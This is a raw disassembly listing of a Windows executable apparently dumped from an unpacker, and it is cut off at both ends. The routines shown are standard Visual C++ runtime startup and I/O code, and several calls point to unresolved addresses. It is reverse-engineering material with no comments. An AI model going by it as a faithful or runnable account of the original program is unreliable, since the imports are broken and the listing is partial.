ecx jnb short loc_422E6F cmp [eax], edx jz short locret_422E71 loc_422E6F: ; CODE XREF: sub_422E2F+3Aj xor eax, eax locret_422E71: ; CODE XREF: sub_422E2F+3Ej retn sub_422E2F endp ; --------------------------------------------------------------------------- cmp dword_4DC954, 0 jnz short loc_422E80 call sub_42026D loc_422E80: ; CODE XREF: ___:00422E79j push esi mov esi, dword_4DC94C mov al, [esi] cmp al, 22h jnz short loc_422EB2 loc_422E8D: ; CODE XREF: ___:00422EA5j ; ___:00422EA8j mov al, [esi+1] inc esi cmp al, 22h jz short loc_422EAA test al, al jz short loc_422EAA movzx eax, al push eax call sub_424D36 test eax, eax pop ecx jz short loc_422E8D inc esi jmp short loc_422E8D ; --------------------------------------------------------------------------- loc_422EAA: ; CODE XREF: ___:00422E93j ; ___:00422E97j cmp byte ptr [esi], 22h jnz short loc_422EBC loc_422EAF: ; CODE XREF: ___:00422EC4j inc esi jmp short loc_422EBC ; --------------------------------------------------------------------------- loc_422EB2: ; CODE XREF: ___:00422E8Bj cmp al, 20h jbe short loc_422EBC loc_422EB6: ; CODE XREF: ___:00422EBAj inc esi cmp byte ptr [esi], 20h ja short loc_422EB6 loc_422EBC: ; CODE XREF: ___:00422EADj ; ___:00422EB0j ... mov al, [esi] test al, al jz short loc_422EC6 cmp al, 20h jbe short loc_422EAF loc_422EC6: ; CODE XREF: ___:00422EC0j mov eax, esi pop esi retn ; --------------------------------------------------------------------------- push ebx xor ebx, ebx cmp dword_4DC954, ebx push esi push edi jnz short loc_422EDC call sub_42026D loc_422EDC: ; CODE XREF: ___:00422ED5j mov esi, dword_4DB318 xor edi, edi loc_422EE4: ; CODE XREF: ___:00422EFAj mov al, [esi] cmp al, bl jz short loc_422EFC cmp al, 3Dh jz short loc_422EEF inc edi loc_422EEF: ; CODE XREF: ___:00422EECj push esi call sub_41AFE0 pop ecx lea esi, [esi+eax+1] jmp short loc_422EE4 ; --------------------------------------------------------------------------- loc_422EFC: ; CODE XREF: ___:00422EE8j lea eax, ds:4[edi*4] push eax call sub_41B4D5 mov esi, eax pop ecx cmp esi, ebx mov dword_4DB2D0, esi jnz short loc_422F1E push 9 call sub_41DA29 pop ecx loc_422F1E: ; CODE XREF: ___:00422F14j mov edi, dword_4DB318 cmp [edi], bl jz short loc_422F61 push ebp loc_422F29: ; CODE XREF: ___:00422F5Ej push edi call sub_41AFE0 mov ebp, eax pop ecx inc ebp cmp byte ptr [edi], 3Dh jz short loc_422F5A push ebp call sub_41B4D5 cmp eax, ebx pop ecx mov [esi], eax jnz short loc_422F4D push 9 call sub_41DA29 pop ecx loc_422F4D: ; CODE XREF: ___:00422F43j push edi push dword ptr [esi] call sub_41BEB0 pop ecx add esi, 4 pop ecx loc_422F5A: ; CODE XREF: ___:00422F36j add edi, ebp cmp [edi], bl jnz short loc_422F29 pop ebp loc_422F61: ; CODE XREF: ___:00422F26j push dword_4DB318 call sub_41B0B1 pop ecx mov dword_4DB318, ebx mov [esi], ebx pop edi pop esi mov dword_4DC950, 1 pop ebx retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx push ebx xor ebx, ebx cmp dword_4DC954, ebx push esi push edi jnz short loc_422F9A call sub_42026D loc_422F9A: ; CODE XREF: ___:00422F93j mov esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe" push 104h push esi push ebx nop call near ptr 2670000h mov eax, dword_4DC94C mov off_4DB2E0, esi mov edi, esi cmp [eax], bl jz short loc_422FBF mov edi, eax loc_422FBF: ; CODE XREF: ___:00422FBBj lea eax, [ebp-8] push eax lea eax, [ebp-4] push eax push ebx push ebx push edi call sub_42301C mov eax, [ebp-8] mov ecx, [ebp-4] lea eax, [eax+ecx*4] push eax call sub_41B4D5 mov esi, eax add esp, 18h cmp esi, ebx jnz short loc_422FEF push 8 call sub_41DA29 pop ecx loc_422FEF: ; CODE XREF: ___:00422FE5j lea eax, [ebp-8] push eax lea eax, [ebp-4] push eax mov eax, [ebp-4] lea eax, [esi+eax*4] push eax push esi push edi call sub_42301C mov eax, [ebp-4] add esp, 14h dec eax mov dword_4DB2C8, esi pop edi pop esi mov dword_4DB2C4, eax pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42301C proc near ; CODE XREF: ___:00422FCAp ; ___:00423000p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp mov ecx, [ebp+arg_10] mov eax, [ebp+arg_C] push ebx push esi and dword ptr [ecx], 0 mov esi, [ebp+arg_8] push edi mov edi, [ebp+arg_4] mov dword ptr [eax], 1 mov eax, [ebp+arg_0] test edi, edi jz short loc_423046 mov [edi], esi add edi, 4 mov [ebp+arg_4], edi loc_423046: ; CODE XREF: sub_42301C+20j cmp byte ptr [eax], 22h jnz short loc_42308F loc_42304B: ; CODE XREF: sub_42301C+58j ; sub_42301C+5Fj mov dl, [eax+1] inc eax cmp dl, 22h jz short loc_42307D test dl, dl jz short loc_42307D movzx edx, dl test byte_4DC821[edx], 4 jz short loc_423070 inc dword ptr [ecx] test esi, esi jz short loc_423070 mov dl, [eax] mov [esi], dl inc esi inc eax loc_423070: ; CODE XREF: sub_42301C+46j ; sub_42301C+4Cj inc dword ptr [ecx] test esi, esi jz short loc_42304B mov dl, [eax] mov [esi], dl inc esi jmp short loc_42304B ; --------------------------------------------------------------------------- loc_42307D: ; CODE XREF: sub_42301C+36j ; sub_42301C+3Aj inc dword ptr [ecx] test esi, esi jz short loc_423087 and byte ptr [esi], 0 inc esi loc_423087: ; CODE XREF: sub_42301C+65j cmp byte ptr [eax], 22h jnz short loc_4230D2 inc eax jmp short loc_4230D2 ; --------------------------------------------------------------------------- loc_42308F: ; CODE XREF: sub_42301C+2Dj ; sub_42301C+A5j inc dword ptr [ecx] test esi, esi jz short loc_42309A mov dl, [eax] mov [esi], dl inc esi loc_42309A: ; CODE XREF: sub_42301C+77j mov dl, [eax] inc eax movzx ebx, dl test byte_4DC821[ebx], 4 jz short loc_4230B5 inc dword ptr [ecx] test esi, esi jz short loc_4230B4 mov bl, [eax] mov [esi], bl inc esi loc_4230B4: ; CODE XREF: sub_42301C+91j inc eax loc_4230B5: ; CODE XREF: sub_42301C+8Bj cmp dl, 20h jz short loc_4230C3 test dl, dl jz short loc_4230C7 cmp dl, 9 jnz short loc_42308F loc_4230C3: ; CODE XREF: sub_42301C+9Cj test dl, dl jnz short loc_4230CA loc_4230C7: ; CODE XREF: sub_42301C+A0j dec eax jmp short loc_4230D2 ; --------------------------------------------------------------------------- loc_4230CA: ; CODE XREF: sub_42301C+A9j test esi, esi jz short loc_4230D2 and byte ptr [esi-1], 0 loc_4230D2: ; CODE XREF: sub_42301C+6Ej ; sub_42301C+71j ... and [ebp+arg_10], 0 loc_4230D6: ; CODE XREF: sub_42301C+19Ej cmp byte ptr [eax], 0 jz loc_4231BF loc_4230DF: ; CODE XREF: sub_42301C+D0j mov dl, [eax] cmp dl, 20h jz short loc_4230EB cmp dl, 9 jnz short loc_4230EE loc_4230EB: ; CODE XREF: sub_42301C+C8j inc eax jmp short loc_4230DF ; --------------------------------------------------------------------------- loc_4230EE: ; CODE XREF: sub_42301C+CDj cmp byte ptr [eax], 0 jz loc_4231BF test edi, edi jz short loc_423103 mov [edi], esi add edi, 4 mov [ebp+arg_4], edi loc_423103: ; CODE XREF: sub_42301C+DDj mov edx, [ebp+arg_C] inc dword ptr [edx] loc_423108: ; CODE XREF: sub_42301C+18Fj mov [ebp+arg_0], 1 xor ebx, ebx loc_423111: ; CODE XREF: sub_42301C+FCj cmp byte ptr [eax], 5Ch jnz short loc_42311A inc eax inc ebx jmp short loc_423111 ; --------------------------------------------------------------------------- loc_42311A: ; CODE XREF: sub_42301C+F8j cmp byte ptr [eax], 22h jnz short loc_42314B test bl, 1 jnz short loc_423149 xor edi, edi cmp [ebp+arg_10], edi jz short loc_423138 cmp byte ptr [eax+1], 22h lea edx, [eax+1] jnz short loc_423138 mov eax, edx jmp short loc_42313B ; --------------------------------------------------------------------------- loc_423138: ; CODE XREF: sub_42301C+10Dj ; sub_42301C+116j mov [ebp+arg_0], edi loc_42313B: ; CODE XREF: sub_42301C+11Aj mov edi, [ebp+arg_4] xor edx, edx cmp [ebp+arg_10], edx setz dl mov [ebp+arg_10], edx loc_423149: ; CODE XREF: sub_42301C+106j shr ebx, 1 loc_42314B: ; CODE XREF: sub_42301C+101j mov edx, ebx dec ebx test edx, edx jz short loc_423160 inc ebx loc_423153: ; CODE XREF: sub_42301C+142j test esi, esi jz short loc_42315B mov byte ptr [esi], 5Ch inc esi loc_42315B: ; CODE XREF: sub_42301C+139j inc dword ptr [ecx] dec ebx jnz short loc_423153 loc_423160: ; CODE XREF: sub_42301C+134j mov dl, [eax] test dl, dl jz short loc_4231B0 cmp [ebp+arg_10], 0 jnz short loc_423176 cmp dl, 20h jz short loc_4231B0 cmp dl, 9 jz short loc_4231B0 loc_423176: ; CODE XREF: sub_42301C+14Ej cmp [ebp+arg_0], 0 jz short loc_4231AA test esi, esi jz short loc_423199 movzx ebx, dl test byte_4DC821[ebx], 4 jz short loc_423192 mov [esi], dl inc esi inc eax inc dword ptr [ecx] loc_423192: ; CODE XREF: sub_42301C+16Ej mov dl, [eax] mov [esi], dl inc esi jmp short loc_4231A8 ; --------------------------------------------------------------------------- loc_423199: ; CODE XREF: sub_42301C+162j movzx edx, dl test byte_4DC821[edx], 4 jz short loc_4231A8 inc eax inc dword ptr [ecx] loc_4231A8: ; CODE XREF: sub_42301C+17Bj ; sub_42301C+187j inc dword ptr [ecx] loc_4231AA: ; CODE XREF: sub_42301C+15Ej inc eax jmp loc_423108 ; --------------------------------------------------------------------------- loc_4231B0: ; CODE XREF: sub_42301C+148j ; sub_42301C+153j ... test esi, esi jz short loc_4231B8 and byte ptr [esi], 0 inc esi loc_4231B8: ; CODE XREF: sub_42301C+196j inc dword ptr [ecx] jmp loc_4230D6 ; --------------------------------------------------------------------------- loc_4231BF: ; CODE XREF: sub_42301C+BDj ; sub_42301C+D5j test edi, edi jz short loc_4231C6 and dword ptr [edi], 0 loc_4231C6: ; CODE XREF: sub_42301C+1A5j mov eax, [ebp+arg_C] pop edi pop esi pop ebx inc dword ptr [eax] pop ebp retn sub_42301C endp ; --------------------------------------------------------------------------- push ecx push ecx mov eax, dword_4DB488 push ebx push ebp mov ebp, dword_42703C push esi push edi xor ebx, ebx xor esi, esi xor edi, edi cmp eax, ebx jnz short loc_42321E call ebp mov esi, eax cmp esi, ebx jz short loc_4231FF mov dword_4DB488, 1 jmp short loc_423227 ; --------------------------------------------------------------------------- loc_4231FF: ; CODE XREF: ___:004231F1j nop call near ptr 26302CCh mov edi, eax cmp edi, ebx jz loc_4232F9 mov dword_4DB488, 2 jmp loc_4232AD ; --------------------------------------------------------------------------- loc_42321E: ; CODE XREF: ___:004231E9j cmp eax, 1 jnz loc_4232A8 loc_423227: ; CODE XREF: ___:004231FDj cmp esi, ebx jnz short loc_423237 call ebp mov esi, eax cmp esi, ebx jz loc_4232F9 loc_423237: ; CODE XREF: ___:00423229j cmp [esi], bx mov eax, esi jz short loc_42324C loc_42323E: ; CODE XREF: ___:00423243j ; ___:0042324Aj inc eax inc eax cmp [eax], bx jnz short loc_42323E inc eax inc eax cmp [eax], bx jnz short loc_42323E loc_42324C: ; CODE XREF: ___:0042323Cj sub eax, esi mov edi, dword_42717C sar eax, 1 push ebx push ebx inc eax push ebx push ebx push eax push esi push ebx push ebx mov [esp+34h], eax call edi mov ebp, eax cmp ebp, ebx jz short loc_42329D push ebp call sub_41B4D5 cmp eax, ebx pop ecx mov [esp+10h], eax jz short loc_42329D push ebx push ebx push ebp push eax push dword ptr [esp+24h] push esi push ebx push ebx call edi test eax, eax jnz short loc_423299 push dword ptr [esp+10h] call sub_41B0B1 pop ecx mov [esp+10h], ebx loc_423299: ; CODE XREF: ___:00423289j mov ebx, [esp+10h] loc_42329D: ; CODE XREF: ___:00423269j ; ___:00423278j push esi nop call near ptr 26305B4h mov eax, ebx jmp short loc_4232FB ; --------------------------------------------------------------------------- loc_4232A8: ; CODE XREF: ___:00423221j cmp eax, 2 jnz short loc_4232F9 loc_4232AD: ; CODE XREF: ___:00423219j cmp edi, ebx jnz short loc_4232BD call near ptr 26302CCh nop mov edi, eax cmp edi, ebx jz short loc_4232F9 loc_4232BD: ; CODE XREF: ___:004232AFj cmp [edi], bl mov eax, edi jz short loc_4232CD loc_4232C3: ; CODE XREF: ___:004232C6j ; ___:004232CBj inc eax cmp [eax], bl jnz short loc_4232C3 inc eax cmp [eax], bl jnz short loc_4232C3 loc_4232CD: ; CODE XREF: ___:004232C1j sub eax, edi inc eax mov ebp, eax push ebp call sub_41B4D5 mov esi, eax pop ecx cmp esi, ebx jnz short loc_4232E3 xor esi, esi jmp short loc_4232EE ; --------------------------------------------------------------------------- loc_4232E3: ; CODE XREF: ___:004232DDj push ebp push edi push esi call sub_41C310 add esp, 0Ch loc_4232EE: ; CODE XREF: ___:004232E1j push edi nop call near ptr 26305DFh mov eax, esi jmp short loc_4232FB ; --------------------------------------------------------------------------- loc_4232F9: ; CODE XREF: ___:00423209j ; ___:00423231j ... xor eax, eax loc_4232FB: ; CODE XREF: ___:004232A6j ; ___:004232F7j pop edi pop esi pop ebp pop ebx pop ecx pop ecx retn ; --------------------------------------------------------------------------- sub esp, 44h push ebx push ebp push esi push edi push 100h call sub_41B4D5 mov esi, eax pop ecx test esi, esi jnz short loc_423322 push 1Bh call sub_41DA29 pop ecx loc_423322: ; CODE XREF: ___:00423318j mov dword_4DC600, esi mov dword_4DC700, 20h lea eax, [esi+100h] loc_423338: ; CODE XREF: ___:00423354j cmp esi, eax jnb short loc_423356 and byte ptr [esi+4], 0 or dword ptr [esi], 0FFFFFFFFh mov byte ptr [esi+5], 0Ah mov eax, dword_4DC600 add esi, 8 add eax, 100h jmp short loc_423338 ; --------------------------------------------------------------------------- loc_423356: ; CODE XREF: ___:0042333Aj lea eax, [esp+10h] push eax nop call near ptr 28B0000h cmp word ptr [esp+42h], 0 jz loc_423432 mov eax, [esp+44h] test eax, eax jz loc_423432 mov esi, [eax] lea ebp, [eax+4] mov eax, 800h cmp esi, eax lea ebx, [esi+ebp] jl short loc_42338C mov esi, eax loc_42338C: ; CODE XREF: ___:00423388j cmp dword_4DC700, esi jge short loc_4233E6 mov edi, offset dword_4DC604 loc_423399: ; CODE XREF: ___:004233DCj push 100h call sub_41B4D5 test eax, eax pop ecx jz short loc_4233E0 add dword_4DC700, 20h mov [edi], eax lea ecx, [eax+100h] loc_4233B7: ; CODE XREF: ___:004233D1j cmp eax, ecx jnb short loc_4233D3 and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah mov ecx, [edi] add eax, 8 add ecx, 100h jmp short loc_4233B7 ; --------------------------------------------------------------------------- loc_4233D3: ; CODE XREF: ___:004233B9j add edi, 4 cmp dword_4DC700, esi jl short loc_423399 jmp short loc_4233E6 ; --------------------------------------------------------------------------- loc_4233E0: ; CODE XREF: ___:004233A6j mov esi, dword_4DC700 loc_4233E6: ; CODE XREF: ___:00423392j ; ___:004233DEj xor edi, edi test esi, esi jle short loc_423432 loc_4233EC: ; CODE XREF: ___:00423430j mov eax, [ebx] cmp eax, 0FFFFFFFFh jz short loc_423429 mov cl, [ebp+0] test cl, 1 jz short loc_423429 test cl, 8 jnz short loc_42340B push eax nop call near ptr 26207BBh test eax, eax jz short loc_423429 loc_42340B: ; CODE XREF: ___:004233FEj mov eax, edi mov ecx, edi sar eax, 5 and ecx, 1Fh mov eax, dword_4DC600[eax*4] lea eax, [eax+ecx*8] mov ecx, [ebx] mov [eax], ecx mov cl, [ebp+0] mov [eax+4], cl loc_423429: ; CODE XREF: ___:004233F1j ; ___:004233F9j ... inc edi inc ebp add ebx, 4 cmp edi, esi jl short loc_4233EC loc_423432: ; CODE XREF: ___:00423367j ; ___:00423373j ... xor ebx, ebx loc_423434: ; CODE XREF: ___:00423497j mov eax, dword_4DC600 cmp dword ptr [eax+ebx*8], 0FFFFFFFFh lea esi, [eax+ebx*8] jnz short loc_42348F test ebx, ebx mov byte ptr [esi+4], 81h jnz short loc_42344F push 0FFFFFFF6h pop eax jmp short loc_423459 ; --------------------------------------------------------------------------- loc_42344F: ; CODE XREF: ___:00423448j mov eax, ebx dec eax neg eax sbb eax, eax add eax, 0FFFFFFF5h loc_423459: ; CODE XREF: ___:0042344Dj push eax call near ptr 2630000h nop mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_42347E push edi nop call near ptr 26207BBh test eax, eax jz short loc_42347E and eax, 0FFh mov [esi], edi cmp eax, 2 jnz short loc_423484 loc_42347E: ; CODE XREF: ___:00423465j ; ___:00423470j or byte ptr [esi+4], 40h jmp short loc_423493 ; --------------------------------------------------------------------------- loc_423484: ; CODE XREF: ___:0042347Cj cmp eax, 3 jnz short loc_423493 or byte ptr [esi+4], 8 jmp short loc_423493 ; --------------------------------------------------------------------------- loc_42348F: ; CODE XREF: ___:00423440j or byte ptr [esi+4], 80h loc_423493: ; CODE XREF: ___:00423482j ; ___:00423487j ... inc ebx cmp ebx, 3 jl short loc_423434 push dword_4DC700 nop call near ptr 2630238h pop edi pop esi pop ebp pop ebx add esp, 44h retn ; --------------------------------------------------------------------------- align 10h push esi inc ebx xor dh, [eax] pop eax inc ebx xor [eax], dh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4234B8 proc near ; DATA XREF: sub_42205D+Ao ; sub_42218C+Ao ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi push ebp cld mov ebx, [ebp+arg_4] mov eax, [ebp+arg_0] test dword ptr [eax+4], 6 jnz loc_423558 mov [ebp+var_8], eax mov eax, [ebp+arg_8] mov [ebp+var_4], eax lea eax, [ebp+var_8] mov [ebx-4], eax mov esi, [ebx+0Ch] mov edi, [ebx+8] loc_4234EB: ; CODE XREF: sub_4234B8+90j cmp esi, 0FFFFFFFFh jz short loc_423551 lea ecx, [esi+esi*2] cmp dword ptr [edi+ecx*4+4], 0 jz short loc_42353F push esi push ebp lea ebp, [ebx+10h] call dword ptr [edi+ecx*4+4] pop ebp pop esi mov ebx, [ebp+arg_4] or eax, eax jz short loc_42353F js short loc_42354A mov edi, [ebx+8] push ebx call sub_41CB74 ; --------------------------------------------------------------------------- add esp, 4 lea ebp, [ebx+10h] push esi push ebx call sub_41CBB6 add esp, 8 lea ecx, [esi+esi*2] push 1 mov eax, [edi+ecx*4+8] call sub_41CC4A mov eax, [edi+ecx*4] mov [ebx+0Ch], eax call dword ptr [edi+ecx*4+8] loc_42353F: ; CODE XREF: sub_4234B8+40j ; sub_4234B8+52j mov edi, [ebx+8] lea ecx, [esi+esi*2] mov esi, [edi+ecx*4] jmp short loc_4234EB ; --------------------------------------------------------------------------- loc_42354A: ; CODE XREF: sub_4234B8+54j mov eax, 0 jmp short loc_42356D ; --------------------------------------------------------------------------- loc_423551: ; CODE XREF: sub_4234B8+36j mov eax, 1 jmp short loc_42356D ; --------------------------------------------------------------------------- loc_423558: ; CODE XREF: sub_4234B8+18j push ebp lea ebp, [ebx+10h] push 0FFFFFFFFh push ebx call sub_41CBB6 add esp, 8 pop ebp mov eax, 1 loc_42356D: ; CODE XREF: sub_4234B8+97j ; sub_4234B8+9Ej pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4234B8 endp ; --------------------------------------------------------------------------- push ebp mov ecx, [esp+8] mov ebp, [ecx] mov eax, [ecx+1Ch] push eax mov eax, [ecx+18h] push eax call sub_41CBB6 add esp, 8 pop ebp retn 4 ; =============== S U B R O U T I N E ======================================= sub_423590 proc near ; CODE XREF: sub_41DA29+9p mov eax, dword_4DB320 cmp eax, 1 jz short loc_4235A7 test eax, eax jnz short locret_4235C8 cmp dword_43A2F4, 1 jnz short locret_4235C8 loc_4235A7: ; CODE XREF: sub_423590+8j push 0FCh call sub_4235C9 mov eax, dword_4DB48C pop ecx test eax, eax jz short loc_4235BD call eax loc_4235BD: ; CODE XREF: sub_423590+29j push 0FFh call sub_4235C9 pop ecx locret_4235C8: ; CODE XREF: sub_423590+Cj ; sub_423590+15j retn sub_423590 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4235C9 proc near ; CODE XREF: sub_41DA29+12p ; sub_423590+1Cp ... var_1A4 = byte ptr -1A4h var_A0 = byte ptr -0A0h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1A4h mov edx, [ebp+arg_0] xor ecx, ecx mov eax, offset dword_43C988 loc_4235DC: ; CODE XREF: sub_4235C9+20j cmp edx, [eax] jz short loc_4235EB add eax, 8 inc ecx cmp eax, offset off_43CA18 jl short loc_4235DC loc_4235EB: ; CODE XREF: sub_4235C9+15j push esi mov esi, ecx shl esi, 3 cmp edx, dword_43C988[esi] jnz loc_423719 mov eax, dword_4DB320 cmp eax, 1 jz loc_4236F3 test eax, eax jnz short loc_42361C cmp dword_43A2F4, 1 jz loc_4236F3 loc_42361C: ; CODE XREF: sub_4235C9+44j cmp edx, 0FCh jz loc_423719 lea eax, [ebp+var_1A4] push 104h push eax push 0 nop call near ptr 2670000h test eax, eax jnz short loc_423653 lea eax, [ebp+var_1A4] push offset aProgramNameUnk ; "<program name unknown>" push eax call sub_41BEB0 pop ecx pop ecx loc_423653: ; CODE XREF: sub_4235C9+75j lea eax, [ebp+var_1A4] push edi push eax lea edi, [ebp+var_1A4] call sub_41AFE0 inc eax pop ecx cmp eax, 3Ch jbe short loc_423696 lea eax, [ebp+var_1A4] push eax call sub_41AFE0 mov edi, eax lea eax, [ebp+var_1A4] sub eax, 3Bh push 3 add edi, eax push offset a___ ; "..." push edi call sub_41B5F0 add esp, 10h loc_423696: ; CODE XREF: sub_4235C9+A2j lea eax, [ebp+var_A0] push offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: " push eax call sub_41BEB0 lea eax, [ebp+var_A0] push edi push eax call sub_41BEC0 lea eax, [ebp+var_A0] push offset asc_427C10 ; "\n\n" push eax call sub_41BEC0 push off_43C98C[esi] lea eax, [ebp+var_A0] push eax call sub_41BEC0 push 12010h lea eax, [ebp+var_A0] push offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library" push eax call sub_424D78 add esp, 2Ch pop edi jmp short loc_423719 ; --------------------------------------------------------------------------- loc_4236F3: ; CODE XREF: sub_4235C9+3Cj ; sub_4235C9+4Dj lea eax, [ebp+arg_0] lea esi, off_43C98C[esi] push 0 push eax push dword ptr [esi] call sub_41AFE0 pop ecx push eax push dword ptr [esi] push 0FFFFFFF4h nop call near ptr 2630000h push eax nop call near ptr 2700000h loc_423719: ; CODE XREF: sub_4235C9+2Ej ; sub_4235C9+59j ... pop esi leave retn sub_4235C9 endp ; =============== S U B R O U T I N E ======================================= sub_42371C proc near ; CODE XREF: sub_423A33:loc_423BABp push ebx push esi push edi or ebx, 0FFFFFFFFh xor edi, edi xor esi, esi mov ecx, offset dword_4DC600 loc_42372B: ; CODE XREF: sub_42371C+48j mov eax, [ecx] test eax, eax jz short loc_423768 lea edx, [eax+100h] loc_423737: ; CODE XREF: sub_42371C+28j cmp eax, edx jnb short loc_423757 test byte ptr [eax+4], 1 jz short loc_423746 add eax, 8 jmp short loc_423737 ; --------------------------------------------------------------------------- loc_423746: ; CODE XREF: sub_42371C+23j or dword ptr [eax], 0FFFFFFFFh sub eax, [ecx] sar eax, 3 add eax, esi mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_4237AB loc_423757: ; CODE XREF: sub_42371C+1Dj add ecx, 4 inc edi add esi, 20h cmp ecx, offset dword_4DC700 jl short loc_42372B jmp short loc_4237AB ; --------------------------------------------------------------------------- loc_423768: ; CODE XREF: sub_42371C+13j mov esi, 100h push esi call sub_41B4D5 test eax, eax pop ecx jz short loc_4237AB add dword_4DC700, 20h lea ecx, ds:4DC600h[edi*4] lea edx, [eax+100h] mov [ecx], eax loc_42378E: ; CODE XREF: sub_42371C+88j cmp eax, edx jnb short loc_4237A6 and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah mov edx, [ecx] add eax, 8 add edx, esi jmp short loc_42378E ; --------------------------------------------------------------------------- loc_4237A6: ; CODE XREF: sub_42371C+74j shl edi, 5 mov ebx, edi loc_4237AB: ; CODE XREF: sub_42371C+39j ; sub_42371C+4Aj ... pop edi mov eax, ebx pop esi pop ebx retn sub_42371C endp ; =============== S U B R O U T I N E ======================================= sub_4237B1 proc near ; CODE XREF: sub_423A33+1F4p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi cmp eax, dword_4DC700 push edi jnb short loc_423811 mov ecx, eax mov esi, eax sar ecx, 5 and esi, 1Fh lea edi, ds:4DC600h[ecx*4] shl esi, 3 mov ecx, [edi] cmp dword ptr [ecx+esi], 0FFFFFFFFh jnz short loc_423811 cmp dword_43A2F4, 1 push ebx mov ebx, [esp+0Ch+arg_4] jnz short loc_423807 sub eax, 0 jz short loc_4237FE dec eax jz short loc_4237F9 dec eax jnz short loc_423807 push ebx push 0FFFFFFF4h jmp short loc_423801 ; --------------------------------------------------------------------------- loc_4237F9: ; CODE XREF: sub_4237B1+3Ej push ebx push 0FFFFFFF5h jmp short loc_423801 ; --------------------------------------------------------------------------- loc_4237FE: ; CODE XREF: sub_4237B1+3Bj push ebx push 0FFFFFFF6h loc_423801: ; CODE XREF: sub_4237B1+46j ; sub_4237B1+4Bj nop call near ptr 2620574h loc_423807: ; CODE XREF: sub_4237B1+36j ; sub_4237B1+41j mov eax, [edi] mov [eax+esi], ebx xor eax, eax pop ebx jmp short loc_423825 ; --------------------------------------------------------------------------- loc_423811: ; CODE XREF: sub_4237B1+Cj ; sub_4237B1+28j and dword_4DB2AC, 0 mov dword_4DB2A8, 9 or eax, 0FFFFFFFFh loc_423825: ; CODE XREF: sub_4237B1+5Ej pop edi pop esi retn sub_4237B1 endp ; =============== S U B R O U T I N E ======================================= sub_423828 proc near ; CODE XREF: sub_41DA72+7Cp arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push esi cmp ecx, dword_4DC700 push edi jnb short loc_42388B mov eax, ecx mov esi, ecx sar eax, 5 and esi, 1Fh lea edi, ds:4DC600h[eax*4] shl esi, 3 mov eax, [edi] add eax, esi test byte ptr [eax+4], 1 jz short loc_42388B cmp dword ptr [eax], 0FFFFFFFFh jz short loc_42388B cmp dword_43A2F4, 1 jnz short loc_423881 xor eax, eax sub ecx, eax jz short loc_423878 dec ecx jz short loc_423873 dec ecx jnz short loc_423881 push eax push 0FFFFFFF4h jmp short loc_42387B ; --------------------------------------------------------------------------- loc_423873: ; CODE XREF: sub_423828+41j push eax push 0FFFFFFF5h jmp short loc_42387B ; --------------------------------------------------------------------------- loc_423878: ; CODE XREF: sub_423828+3Ej push eax push 0FFFFFFF6h loc_42387B: ; CODE XREF: sub_423828+49j ; sub_423828+4Ej nop call near ptr 2620574h loc_423881: ; CODE XREF: sub_423828+38j ; sub_423828+44j mov eax, [edi] or dword ptr [eax+esi], 0FFFFFFFFh xor eax, eax jmp short loc_42389F ; --------------------------------------------------------------------------- loc_42388B: ; CODE XREF: sub_423828+Cj ; sub_423828+2Aj ... and dword_4DB2AC, 0 mov dword_4DB2A8, 9 or eax, 0FFFFFFFFh loc_42389F: ; CODE XREF: sub_423828+61j pop edi pop esi retn sub_423828 endp ; =============== S U B R O U T I N E ======================================= sub_4238A2 proc near ; CODE XREF: sub_41DA72+32p ; sub_41DA72+49p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_4DC700 jnb short loc_4238CA mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_4DC600[ecx*4] test byte ptr [ecx+eax*8+4], 1 lea eax, [ecx+eax*8] jz short loc_4238CA mov eax, [eax] retn ; --------------------------------------------------------------------------- loc_4238CA: ; CODE XREF: sub_4238A2+Aj ; sub_4238A2+23j and dword_4DB2AC, 0 mov dword_4DB2A8, 9 or eax, 0FFFFFFFFh retn sub_4238A2 endp ; =============== S U B R O U T I N E ======================================= sub_4238DF proc near ; CODE XREF: sub_41DB50+2Bp arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_4DC700 jnb short loc_423928 mov ecx, eax mov edx, eax sar ecx, 5 and edx, 1Fh mov ecx, dword_4DC600[ecx*4] test byte ptr [ecx+edx*8+4], 1 jz short loc_423928 push eax call sub_4238A2 pop ecx push eax nop call near ptr 2620000h test eax, eax jnz short loc_42391D call near ptr 26807C8h nop jmp short loc_42391F ; --------------------------------------------------------------------------- loc_42391D: ; CODE XREF: sub_4238DF+34j xor eax, eax loc_42391F: ; CODE XREF: sub_4238DF+3Cj test eax, eax jz short locret_423935 mov dword_4DB2AC, eax loc_423928: ; CODE XREF: sub_4238DF+Aj ; sub_4238DF+22j mov dword_4DB2A8, 9 or eax, 0FFFFFFFFh locret_423935: ; CODE XREF: sub_4238DF+42j retn sub_4238DF endp ; =============== S U B R O U T I N E ======================================= sub_423936 proc near ; DATA XREF: ___:00429024o mov eax, dword_4DC5E0 push esi push 14h test eax, eax pop esi jnz short loc_42394A mov eax, 200h jmp short loc_423950 ; --------------------------------------------------------------------------- loc_42394A: ; CODE XREF: sub_423936+Bj cmp eax, esi jge short loc_423955 mov eax, esi loc_423950: ; CODE XREF: sub_423936+12j mov dword_4DC5E0, eax loc_423955: ; CODE XREF: 